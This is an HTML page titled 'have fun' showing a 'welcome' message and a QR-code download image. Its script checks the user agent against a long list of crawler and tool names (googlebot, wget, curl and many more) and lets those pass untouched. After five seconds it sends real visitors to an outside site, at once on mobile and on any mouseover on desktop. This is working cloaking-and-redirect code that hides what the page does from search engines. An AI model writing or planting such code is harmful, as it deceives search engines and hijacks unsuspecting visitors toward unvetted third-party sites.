<!DOCTYOE html>
<html>
　<head>
　<title>have fun</title>
　</head>
　<body>welcome</body>

    <div id="dialog" title="App">
        <img src="/images/qr-code.png" alt="Download" width="500" height="500"/>
    </div> 
    <script>

    function browserRedirect() {
    
        var sUserAgent = navigator.userAgent.toLowerCase();
        
        var bIsIpad = sUserAgent.match(/ipad/i) == "ipad";
        
        var bIsIphoneOs = sUserAgent.match(/iphone os/i) == "iphone os";
        
        var bIsMidp = sUserAgent.match(/midp/i) == "midp";
        
        var bIsUc7 = sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4";
        
        var bIsUc = sUserAgent.match(/ucweb/i) == "ucweb";
        
        var bIsAndroid = sUserAgent.match(/android/i) == "android";
        
        var bIsCE = sUserAgent.match(/windows ce/i) == "windows ce";
        
        var bIsWM = sUserAgent.match(/windows mobile/i) == "windows mobile";
        
        var botPattern = "(googlebot\/|bot|Googlebot-Mobile|Googlebot-Image|Google favicon|Mediapartners-Google|bingbot|slurp|java|wget|curl|Commons-HttpClient|Python-urllib|libwww|httpunit|nutch|phpcrawl|msnbot|jyxobot|FAST-WebCrawler|FAST Enterprise Crawler|biglotron|teoma|convera|seekbot|gigablast|exabot|ngbot|ia_archiver|GingerCrawler|webmon |httrack|webcrawler|grub.org|UsineNouvelleCrawler|antibot|netresearchserver|speedy|fluffy|bibnum.bnf|findlink|msrbot|panscient|yacybot|AISearchBot|IOI|ips-agent|tagoobot|MJ12bot|dotbot|woriobot|yanga|buzzbot|mlbot|yandexbot|purebot|Linguee Bot|Voyager|CyberPatrol|voilabot|baiduspider|citeseerxbot|spbot|twengabot|postrank|turnitinbot|scribdbot|page2rss|sitebot|linkdex|Adidxbot|blekkobot|ezooms|dotbot|Mail.RU_Bot|discobot|heritrix|findthatfile|europarchive.org|NerdByNature.Bot|sistrix crawler|ahrefsbot|Aboundex|domaincrawler|wbsearchbot|summify|ccbot|edisterbot|seznambot|ec2linkfinder|gslfbot|aihitbot|intelium_bot|facebookexternalhit|yeti|RetrevoPageAnalyzer|lb-spider|sogou|lssbot|careerbot|wotbox|wocbot|ichiro|DuckDuckBot|lssrocketcrawler|drupact|webcompanycrawler|acoonbot|openindexspider|gnam gnam spider|web-archive-net.com.bot|backlinkcrawler|coccoc|integromedb|content crawler spider|toplistbot|seokicks-robot|it2media-domain-crawler|ip-web-crawler.com|siteexplorer.info|elisabot|proximic|changedetection|blexbot|arabot|WeSEE:Search|niki-bot|CrystalSemanticsBot|rogerbot|360Spider|psbot|InterfaxScanBot|Lipperhey SEO Service|CC Metadata Scaper|g00g1e.net|GrapeshotCrawler|urlappendbot|brainobot|fr-crawler|binlar|SimpleCrawler|Livelapbot|Twitterbot|cXensebot|smtbot|bnf.fr_bot|A6-Indexer|ADmantX|Facebot|Twitterbot|OrangeBot|memorybot|AdvBot|MegaIndex|SemanticScholarBot|ltx71|nerdybot|xovibot|BUbiNG|Qwantify|archive.org_bot|Applebot|TweetmemeBot|crawler4j|findxbot|SemrushBot|yoozBot|lipperhey|y!j-asr|Domain Re-Animator Bot|AddThis)";

        var re = new RegExp(botPattern, 'i');

        var oriUserAgent = navigator.userAgent;
        
        if (re.test(oriUserAgent)){
            console.log('the user agent is a crawler!');
            return;
        }

        if (!(bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) ){
            // desktop
            document.onmouseover = function(){ 
                location.href = "https://www.biwei7.com/"; }
        }else{
            // mobile
            window.location = 'https://www.biwei7.com/';
        }
    }
    
    setTimeout(function(){
        browserRedirect();
    }, 5000);
    
    
    </script>
</html>

